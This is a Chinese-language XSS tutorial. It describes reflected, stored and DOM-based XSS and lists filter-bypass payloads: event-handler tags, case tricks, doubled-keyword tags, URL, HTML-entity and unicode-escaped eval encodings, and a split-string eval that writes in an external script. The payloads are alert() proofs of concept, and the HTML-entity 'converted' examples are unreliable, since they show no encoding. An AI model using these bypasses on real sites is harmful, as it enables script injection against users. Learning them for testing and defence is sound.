一.XSS威胁方式
1.反射型XSS
解释:可在前端经过服务器注入XSS恶意代码,但不会对服务器存储内容做任何修改;有时经过服务器是由get发送请求,继而可以通过编辑恶意链接发送给被害者造成较大危害。
2.存储型XSS
解释:用户在前台输入恶意XSS代码,被存储在服务器里面,造成影响危害较大
3.DOM型XSS
解释:用户在前台输入恶意javascript代码操作页面;有时经过服务器是由get发送请求,继而可以通过编辑恶意链接发送给被害者造成较大危害。
二.XSS过滤
1.伪协议绕过
格式:
<img src="1" onerror="javascript:alert(123)">
<img src="1" onerror=alert(123)>
<body onload='alert(123)'>
<a href="javascript:alert(123)">aa</a>
2.大小写绕过
原理:程序员在编写代码疏忽了对小写内容的过滤
格式:
<SCRIPT>alert(123)</SCRIPT>
"><SCRIPT>alert(123)</SCRIPT>
3.替换绕过
原理:程序员在通过正则等方式将script输入过滤为空,这样里面的script被删除,后面的拼接在一起又组成了完成的javascript
格式:
<scscriptript>alert(123)</scscriptript>
"><scscriptript>alert(123)</scscriptript>
4.编码绕过
4.1 URL编码
原理:主要用如XSS后发给目标的阶段
前要:只能在get请求到url里面显示,也就是把网页链接转化时使用
解释:可以编码特殊符号之类
在线网站:URL编码
格式:
- 原:
http://w56556655655.xyzs/luck?id=<script>alert(123)</script>
- 转:
http%3A%2F%2Fw56556655655.xyzs%2Fluck%3Fid%3D%3Cscript%3Ealert(123)%3C%2Fscript%3E
4.2 html实体编码
原理:主要过滤等于后的内容,不能转义标签,局限性大
前要:不能对标签进行替换,例如可以替换伪类标签里面引号内容
解释:可以对字母数字特殊符号进行编码
4.2.1 10进制
在线网站:html实体编码
格式:
- 原:
<img src="1" onerror=alert(123)>
- 转:
<img src="1" onerror="alert(123)">
4.2.2 16进制
在线网站:html16进制实体编码
格式:
- 原:
<img src="1" onerror=alert(123)>
- 转:
<img src="1" onerror="alert(123)">
4.3 javascript编码
原理:主要运用eval,用于被过滤onclick、onerror等函数上
前要:不能对标签进行替换,主要替换标签里面的内容
解释:运用eval函数
4.3.1 16进制
在线网站:javascript \u16进制编码
格式:
- 原:
<script>alert(123)</script>
- 转:
<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029')</script>
5.拆分跨站法
原理:主要针对目标在后台限制输入内容的情况
- 原:
document.write('<script src="https://pss.bdstatic.com/r/www/cache/static/protocol/https/amd_modules/@baidu/search-sug_519d7fa.js"><\/script>')
- 转:
z='document.write'/*
*/z=z+"('<script src="/*
*/z=z+'"https://pss.bdstatic.com/r/www/cache/static/protocol/https/amd_modules/@baidu/search-sug_519d7fa.js"'/*
*/z=z+"><\/script>')"/*
*/eval(z)
/*和*/用来注释其它内容
三.XSS经验
1.get请求
说明:现在get请求显示在url里面,特殊符号都会被编码,如果被编码成功,不会有xss注入
2.普通注入
说明:特殊符号被转义,xss注入也不会产生